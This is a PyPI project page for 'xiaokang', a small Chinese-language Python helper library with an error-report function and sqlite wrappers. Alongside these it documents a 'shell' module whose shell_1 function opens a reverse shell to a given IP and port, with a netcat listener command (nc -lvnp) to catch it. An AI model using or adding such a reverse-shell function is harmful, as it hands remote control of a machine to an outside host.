一个简单的 Python 库
Project description
项目简介
把一些常用的功能写成函数
函数大全
XiaoKang/
├── ChangYong # 常用的功能
│ └── BaoCuoXingxi # 报错的时候执行会显示报错信息
├── sqlite #sqlite数据库的操作
│ ├── db_sql #提供sql语句,执行sql语句
│ ├── db_cj #提供字段和类型,创建数据表
│ ├── db_dq #提供sql语句和查找的值,进行查找数据
│ ├── db_xr #提供表、字段、值,进行写入数据
│ ├── db_xg #提供表、查找字段、查找值,写入字段、写入值,进行写入数据
├── shell #shell反弹
│ └── shell_1 #反弹shell到nc -lvnp 端口
└── 结束
函数讲解
所有的函数讲解怎么使用,和什么功能,你地,明白!?
1.ChangYong(常用)
1.1 BaoCuoXingxi(报错信息)
讲解功能:在代码执行的时候,如果报错可以执行这个,查看详细的报错信息
示例代码:
try:
print('1'+1)
except:
print(BaoCuoXingxi('json'))
输出:
{
"报错类型":"<class 'TypeError'>",
"报错信息":"can only concatenate str (not \"int\") to str",
"报错文件":"C:\\xxx\\xxxx\\xxxxx\\test_1.py",
"报错行数":6
}
2.sqlite(sqlite数据库)
2.1 db_sql(执行sql语句)
db_sql(sql, 数据库='主记录表')
sql:sql的执行语句
数据库:XXX.db文件,默认链接='主记录表'
返回:
(返回执行情况[真/假],返回执行后的数据表)
2.2 db_cj(创建数据表)
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')
表名:创建的表名
字段[]:创建表中的字段
字段类型{}:指定创建字段的类型
默认值:在没有指定的情况下创建字段的默认值='TEXT'
数据库:XXX.db文件,默认链接='主记录表'
返回:
返回创建情况[真/假]
2.3 db_dq(读取数据)
db_dq(sql, value: tuple = '', 数据库='主记录表')
sql:查询数据的sql语句
value():sql语句中的'?'值,防止被注入
数据库:XXX.db文件,默认链接='主记录表'
返回:
(返回执行情况[真/假],返回执行后的数据表)
2.4 db_xr(新增写入数据)
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
表: 写入数据的表名
段: 写入的字段名
值: 写入的字段值
数据库: 写入的数据库名默认数据库='主记录表'
返回:
(返回执行情况[真/假],返回自增值序号)
2.5 db_xg(修改已有数据)
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
表: 修改数据的表名
查段: 判断修改数据的字段名
查值: 字段名对应的值确保数据修改
写段: 需要修改的字段名
写值: 修改字段的值
数据库: 需要修改的数据名:默认值='主记录表'
返回:
(返回修改情况[真/假])
3.shell(shell反弹)
3.1 shell_1
用法: python shell.py <IP> <端口>
shell_1(<IP>, <端口>)
服务器开启监听
nc -lvnp 端口
安装方法
pip 安装大法
使用示例
导入函数会吧,不会自己学
依赖说明
目前没用使用其他依赖,都是用本地库
作者信息
作者:小康、米汤、鲁班
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
xiaokang-0.1.0.tar.gz
(10.0 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file xiaokang-0.1.0.tar.gz.
File metadata
- Download URL: xiaokang-0.1.0.tar.gz
- Upload date:
- Size: 10.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.4
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e31e0717b92fbdaadb113ec22f019eb13259704a78588a3f78ec7142e7d0af68
|
|
| MD5 |
d880bfb6393d75659e8e5ae4ee1c391d
|
|
| BLAKE2b-256 |
9e0cfef0a2c0ac839033b508e25104d9419fb99d25d3edb46b9eabbb6f49f79b
|
File details
Details for the file xiaokang-0.1.0-py3-none-any.whl.
File metadata
- Download URL: xiaokang-0.1.0-py3-none-any.whl
- Upload date:
- Size: 8.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.12.4
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5e5a16ab06789052a93b45d2e7082c3b28c87a3843239fb775d942aee6d2f7ba
|
|
| MD5 |
df67f5223f939a8bfc182a7d10015388
|
|
| BLAKE2b-256 |
f28d243d93ef0dca6b188f3ad8c6b0f78d6887a7c66f4d1327d36de747ad495d
|